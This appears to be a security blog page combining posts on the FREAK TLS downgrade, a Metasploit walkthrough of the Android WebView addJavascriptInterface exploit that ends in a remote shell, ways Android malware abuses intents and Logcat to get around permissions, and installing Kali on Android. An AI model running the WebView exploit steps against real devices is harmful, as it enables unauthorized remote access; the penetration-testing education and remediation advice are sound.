FREAK Vulnerability : SSL/TLS Vulnerability to Exploit Apple and Android
FREAK Vulnerability : SSL/TLS Vulnerability to Exploit Apple and Android
FREAK Vulnerability : Android Penetration Testing a Must now .
The Freak Vulnerability leave Android and Apple users Unsecured . This is a Vulnerability in SSL/TLS that is not new and has left the Android and Apple users open to exploitation via MITM(Man in the middle attack) . The Freak Vulnerability leaves the Apple and Android users exposed to MITM and any secure traffic is completely to the exposure of the Hacker .
Freak Vulnerability is widespread and disastrous SSL/TLS vulnerability and has been uncovered for over a decade left Millions of users of Apple and Android devices vulnerable to man-in-the-middle attacks on encrypted traffic when they visited supposedly ‘secured’ websites, including the official websites of the White House, FBI and National Security Agency.
CVE-2015-0204
Dubbed the “FREAK” vulnerability (CVE-2015-0204) – also known as Factoring Attack on RSA-EXPORT Keys – enables hackers or intelligence agencies to force clients to use older, weaker encryption i.e. also known as the export-grade key or 512-bit RSA keys.
The FREAK vulnerability discovered by security researchers of French Institute for Research in Computer Science and Automation (Inria) and Microsoft, resides in OpenSSL versions 1.01k and earlier, and Apple’s Secure Transport.
Freak Vulnerability : From Penetration Testers View
How Freak Vulnerability Works ! (The very technical Description of the Freak Vulnerability)
- In the client’s Hello message, it asks for a standard ‘RSA’ ciphersuite.
- The MITM attacker changes this message to ask for ‘export RSA’.
- The server responds with a 512-bit export RSA key, signed with its long-term key.
- The client accepts this weak key due to the OpenSSL/Secure Transport bug.
- The attacker factors the RSA modulus to recover the corresponding RSA decryption key.
- When the client encrypts the ‘pre-master secret’ to the server, the attacker can now decrypt it to recover the TLS ‘master secret’.
- From here on out, the attacker sees plain text and can inject anything it wants.
Who is Vulnerable to Freak ?
The FREAK attack is possible when a vulnerable browser connects to a susceptible web server—a server that accepts “export-grade” encryption.
Servers
Servers that accept RSA_EXPORT cipher suites put their users at risk from the FREAK attack. Using Internet-wide scanning, we have been performing daily tests of all HTTPS servers at public IP addresses to determine whether they allow this weakened encryption. More than a third of all servers with browser-trusted certificates are at risk.
Clients
Browsers are vulnerable to the FREAK attack because of bugs that allow an attacker to force them to use weak, export-grade encryption. Far more browsers are vulnerable to the FREAK attack than was initially thought when the attack was announced. The client side bugs can also be identified via the penetration testing of the clients browser for Freak Vulnerability.
Remediation from Freak Vulnerability
On the Server Side
You should immediately disable support for TLS export cipher suites. While you’re at it, you should also disable other cipher suites that are known to be insecure and enable forward secrecy. For instructions on how to secure popular HTTPS server software, we recommend Mozilla’s security configuration guide and their SSL configuration generator.
On the Client Side (Browser)
Make sure you have the most recent version of your browser installed, and check for updates frequently. Updates that fix the FREAK attack should be available for all major browsers soon.
For SysAdmins and Developers
TLS libraries must be up to date. Unpatched OpenSSL , Microsoft Schannel , and Apple SecureTransport all suffer from the vulnerability. Note that these libraries are used internally by many other programs, such as wget and curl. You also need to ensure that your software does not offer export cipher suites, even as a last resort, since they can be exploited even if the TLS library is patched.
Android Webview Exploit More than 70% of Devices Vulnerable !
Android has been known to be vulnerable to a lot of exploits . This time we have brought you a tutorial on Android’s WebView exploit . We will be using our favourite metasploit framework for the Android exploitation for the Webview exploit . Now the first step here is to understand the webview exploit .
What is WebView ?
When developing an Android app, we can load a remote URL or display HTML pages stored in our application within an activity using WebView. Internally webview uses WebKit rendering engine to display web pages.
How is Android Vulnerable by using Webview ?
Around 70% of all Android devices have been found vulnerable to a Javascript exploit that could allow an attacker remote access to your phone by doing nothing more than surfing to a malicious page or scanning in a malicious QR Code.
Called the “Android WebView addJavascriptInterface Vulnerability”, it works when untrusted Javascript code is executed by a WebView on Android devices.According to the latest records 70% of the Android phones have been found Vulnerable to the webview javascript vulnerability.
WebView usage of JavaScript is the major concern in this vulnerability. If the application being loaded into WebView requires JavaScript support, it can be enabled by using the following line.
WebView webview = (WebView) findViewById(R.id.mywebview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
Another powerful feature in WebView is exposing a Java object’s methods to be accessed from JavaScript.
Rapid7 recently added the exploit as a Metasploit Module, so let’s take a look at it using Kali Linux and Metasploit:
Below is a set of commands for tutorial purposes only for the researcher who seek to play with the exploit .
1. Run Metasploit from the Kali Menu, or type “msfconsole” at a terminal prompt
2. Type, “use exploit /android/browser/webview_addjavascriptinterface”.
3. Then type, “show options” to see what needs to be set:
For the most part, you are good to go. You can turn on SSL if you want, change the port or host address if you want. But one variable I did change was URIPATH.
4. Enter, “set URIPATH hackingloops”:
5. Finally, type “exploit”:
A server is started on the Kali system that hosts a webpage containing the exploit. A URL is provided including the URI path.
Now if a vulnerable Android device surfs to our Metasploit module, sitting at192.168.1.16:8080/hackingloops in this demo, you get a remote session:
Now just connect to the session using “sessions -i 1”:
And that is it! You are connected to the Android device.
But on one Android Tablet that I tested, something didn’t seem right. It allowed me to run some Linux commands but not others. I could use “pwd” to see the current directory that I was in, and I could surf to other directories with “cd”, but the “ls” and other commands would not work:
Whenever you will “ls”, to view the files in the directory, I would get a “<stdin>[2]: ls: not found” error.
A quick check of the path with “echo path” revealed that no path was set:
So set path by typing, “export PATH=/system/bin:$PATH”:
Once the path was correctly set to point to the system files, “ls” and other commands worked without issue:
As you can see,we have a complete remote shell to the Android device.
All I had to do was visit a malicious page using the built in Browser and the exploit ran with no further warning or input from the Android device. To make matters worse, the URL could be printed as a QR Code so that once it is scanned, it automatically goes to the malicious page for true “click and pwn”.
How to protect yourself from WebView Android Exploitation
The exploit only works on versions of Android < 4.2. Update your device to the latest version of Android . Check with your manufacturer for instructions.
Also, never scan in QR Codes from unknown sources.
Android Security and Bypassing Android Permission Model
Android Exploitation using Android Permission Model
The permissions in the Android devices are basically designed to guarantee that the Android Applications installed in the device are not able to do or modify anything where they are not supposed to . The permission model controls the access to various resources by an Android Application .In this post we will see how android malware developers target android permission model for Android Exploitation .
How Android Permission Model Works
An Android app can access limited system resources. To access sensitive APIs, the app must declare permissions required in AndroidManiflest.XML file. These sensitive APIs include camera function, location data (GPS), Bluetooth and telephony functions, SMS/MMS functions and network/data connections and so on … the list continues .
Once an app is installed, the App Installer shows the declared permissions to the user who either accepts or refuses them.
The user has full information on what permissions an Android application is asking for at the time of application Installation . If a user chooses to grant the permissions, these permissions are applied to the application so long as it is installed. During runtime, the system will no longer notify the user when sensitive APIs are being accessed again. Declining these permissions, on the other hand, aborts the app installation.
Once an app attempts to use a protected feature but failed to declare the required permission, the runtime system typically throws a security exception, which then terminates the app.
This basically crashes the application . One important point to note here is ,
Android applications are executed in DVM(Dalvick Virtual Machine) . This ensures complete abstraction of applications from each other and also ensures that if one Application crashes , others are not affected .
Now as we have just seen that an Application will crash if it tries to go out of the scope and access a resource which it fails to mention on the Manifest.xml file . Hence the chances of a malicious application to succeed in accessing the protected resource is very less .Till now we have seen and believed that an Application can only access the resource that it declears at the installation time . However some Android security researchers have succeeded to craft applications that tend to abuse this security meassure .
Misusing the Default Browser to Upload Information
Now if you remmember we just came to know that android applications run in DVM which are basically light weight Virtual Machines to avoid the crashing of one application crash the other . But if an application needs to use the component of another application , it can launch the component of another application by using a feature called intent . These intents can be used for Android exploitation .
Intent is an abstract data structure that describes the operation to be executed . Each intent consists of action (the action to be performed) and data required to execute the action. When an app sends out an intent, the mobile OS chooses the appropriate app to handle it.
An intent with action Intent.ACTION_VIEW, for example, paired with data Uri.parse(“http://www.google.com”)indicates that the app wants to view the Google webpage. If this intent is sent out, the mobile OS determines the best choice to launch the browser.
With this in mind, a shady developer can develop an app with an intent to open a browser and upload any stolen data to the desired server.
Since the browser opens the URL, the malicious app does not need to declare android.permission.INTERNETbecause this was already acquired by the browser app
Logcat: Using Loging for Android Exploitation
Logcat is a logging system provided by the Android framework and can be used to collect, view, and filter system and app debug output. A set of APIs are also provided for application writers to write debug log into the buffer. Another way to abuse permissions is through the misuse of Logcat
To read the logs, an app will only need to request android.permission.READ_LOG, which appears to be harmless for an ordinary user to be aware of.
Developers may write any information into Logcat, which in most cases are debug information. While some of this information are sensitive in nature (e.g. login credentials, credit card numbers), careless developers may forget to remove these when releasing their products. This can be problematic, as malicious apps may read these information from the log message poll and may use these information in their next attack.
Similarly, the OS also log certain information, which a potential attacker can use to his/her advantage.
For example, in some versions of Android, when opening a website using the default browser, Logcat logs the URL being opened. Though this act may seem harmless, a malicious app can monitor the log to get URLs and determine user’s preference. This monitoring then enables an attacker to choose the phishing version of the users’ most-visited site. Should users browse the site again, the app may stop the loading site and instead ask the browser to load the phishing version instead.
Another example is GPS. When using the GPS service provided by system, some apps will log the current GPS data. A malicious app may get updated location information just by auditing the log, to track user.
Abusing Unprotected Components for Android Exploitation
Android apps typically have four components: activity, service, content provider, and broadcast receiver. Because of this, an application may be invoked via multiple entry points. To protect these components from being invoked by arbitrary apps, Android implemented the permissions system.
Contacts information is provided by system through the use of a content provider and to successfully query data from that content provider, the calling app should acquire android.permission.READ_CONTACTS. Similarly, to install another app, the app need to declare android.permission.INSTALL_PACKAGES. Apart from system pre-defined permissions, apps can also register their own permissions.Whichever permissions are declared by an app, the calling app should acquire those permissions to call the desired app.
However, there are still too many apps that do not require permissions. This is typical of components designed to be used inside the app. Unwary developers may think that since these are private, no other app (or possible attackers) will know the existence of these components.
Unfortunately, this gives malicious app writers an opportunity to make their move. A developer may intentionally look for all hidden and private components along with the intent to invoke them by decompiling the targeted app.
This becomes a grave concern if the flawed app is a system app. Pre-installed system apps usually have powerful capabilities such as installing app, reading sensitive information and even wiping all data stored in the device. Users also cannot uninstall system apps, unless their devices are rooted.
Kali Linux is the Most loved Penetration Testing Operating System among the community of Information Security Researchers . Android on the other hand is the most loved Smartphone OS . There have been a lot of discussions in the past about running Kali Linux on Android Platform . In this Tutorial we will be running the Kali Linux OS on the Android Platform and using it for Penetration Testing .
For achieving this we will need to run the Kali OS on the ARM Architecture . This however does not mean you cannot install Kali Linux in a chroot on almost any modern device that runs Android. In fact, the developers of Linux Deploy have made it extremely easy to get any number of Linux distributions installed in a chroot environment using a simple GUI builder.
Prerequisites for Installing Kali Linux on Android using Linux Deploy
- A device running Android 2.1 and above, rooted.
- At least 5 GB free space on internal or external storage.
- A fast, wireless internet connection.
- Patience to wait for a distribution to bootstrap from the network.
Configuring Linux Deploy for Kali
There’s actually very little to be done to get Kali installed. By choosing Kali Linux in the “Distribution” tab, you’ve pretty much covered the important stuff. Optionally, you can choose your architecture, verify that the Kali mirror is correct, set your installation type and location on your Android device, etc. Generally speaking, the defaults provided by Linux Deploy are good to begin with.
Building the Kali Image
Once you are happy with all the settings, hitting the “install” button will start a Kali Linux bootstrap directly from our repositories. Depending on your Internet connection speed, this process could take a while. You’ll be downloading a base install of Kali Linux (with no tools) at minimum.
Start your chrooted Kali
Once the installation is complete, you can have Linux Deploy automatically mount and load up your Kali Linux chroot image. This also includes the starting of services such as SSH and VNC for easier remote access. All of this is automagically done by hitting the “start” button. You should see Linux Deploy setting up your image with output similar to the following:
At this stage, Linux Deploy has started a VNC and SSH server inside your chrooted Kali image. You can connect to the Kali session remotely using the IP address assigned to your Android device (in my case, 10.0.0.10).
Login to your chrooted Kali
The Kali Instance can now be Accessed either through a VNC client or an SSH client to begin the Penetration testing . The VNC password is “changeme” and the SSH credentials are “android” for the username (configured via Linux Deploy) and “changeme” as the password.
muts@slim:~$ ssh android@10.0.0.10 android@10.0.0.10 password: Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l Kali GNU/Linux 1.0 [running on Android via Linux Deploy] android@localhost:~$ sudo su root@localhost:/home/android# df Filesystem 1K-blocks Used Available Use% Mounted on /dev/loop3 4180944 667268 3304012 17% / tmpfs 952708 80 952628 1% /dev tmpfs 952708 0 952708 0% /dev/shm root@localhost:/home/android# root@localhost:/home/android# apt-get update Hit http://http.kali.org kali Release.gpg Hit http://http.kali.org kali Release Hit http://http.kali.org kali/main Sources Hit http://http.kali.org kali/contrib Sources Hit http://http.kali.org kali/non-free Sources Hit http://http.kali.org kali/main armel Packages Hit http://http.kali.org kali/contrib armel Packages Hit http://http.kali.org kali/non-free armel Packages Ign http://http.kali.org kali/contrib Translation-en_US Ign http://http.kali.org kali/contrib Translation-en Ign http://http.kali.org kali/main Translation-en_US Ign http://http.kali.org kali/main Translation-en Ign http://http.kali.org kali/non-free Translation-en_US Ign http://http.kali.org kali/non-free Translation-en Reading package lists... Done root@localhost:/home/android#
Image Size Considerations
If left unchanged, Linux Deploy will automatically set an image size of around 4 GB, for a “naked” installation of Kali. If you would like to install additional Kali tools down the road, you might want to consider using a larger image size, which is configurable via the settings in Linux Deploy.
Source : Kali Linux Official Blog
About Gamemaker gafoor.2
No comments